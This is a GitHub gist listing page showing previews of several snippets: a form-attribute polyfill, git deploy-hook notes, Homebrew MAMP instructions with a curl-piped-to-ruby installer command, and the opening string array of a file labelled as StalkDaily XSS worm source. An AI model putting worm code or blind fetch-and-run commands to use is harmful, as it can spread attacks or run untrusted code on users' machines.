Skip to content

Instantly share code, notes, and snippets.

View voxpelli's full-sized avatar

Pelle Wessman voxpelli

View GitHub Profile
@voxpelli
voxpelli / gist:659572
Created November 2, 2010 12:57 — forked from remy/gist:330318
/**
* Add this script to the end of your document that use <input autofocus type="text" />
* or <input type="text" placeholder="username" /> and it'll plug support for browser
* without these attributes
* Minified version at the bottom
*/
// By remy, from http://gist.github.com/330318
(function () {
function each(list, fn) {

Use the post-receive in a repo on eg. your testing or production server. Create a git-repo on the server for the code you want to run there and add it as a remote to your local checkout of your project repo. Whenever you want to deploy you push to the git repo on the server and with the below script as the post-receive hook on the project the server will automatically update with the new code.

Originally described in a now probably slightly outdated blog post: http://blogs.goodold.se/tech/2009/06/26/git-workflow-going-live/

To use this hook the git repository on the server should have another branch than its master branch checked out. The git repo on the server can be an entirely new one and doesn't have to be a checkout of your project repo. Creating an entirely new repo involves some fiddling with temporary commits and force pushing though - nothing complicated, but perhaps not something that everyone is used to be doing.

Apps

@voxpelli
voxpelli / brew_mamp.markdown
Created June 28, 2010 21:37 — forked from hugowetterberg/brew_mamp.markdown
For Brew driven MAMP with Apache2, PHP 5.3 and MySQL 5.1

For Brew driven MAMP with Apache2, PHP 5.3 and MySQL 5.1

If you've MacPorts install - you probably should move it to avoid any unintentional conflicts.

Install brew (assuming that you have Xcode installed).

$ ruby -e "$(curl -fsS http://gist.github.com/raw/323731/install_homebrew.rb)"

Install git and bash completion. (Perhaps by first following gem instructions at http://wiki.github.com/mxcl/homebrew/gems-eggs-and-perl-modules)

// ==UserScript==
// @name Localhost
// @namespace Perifer
// @include http://*.local/*
// ==/UserScript==
/*
Displays a bagde when surfing .local pages.
*/
@voxpelli
voxpelli / stalkdaily_worm.js
Created April 13, 2009 10:22 — forked from imajes/current 'stalkdaily' xss attack
Current fourth(?) generation StalkDaily worm - partly unobfuscated
var _strings = [
"Msxml2.XMLHTTP", //0 0x0
"Microsoft.XMLHTTP",
"connect",
"toUpperCase",
"GET",
"?", //5 0x5
"open",
"",
"Method",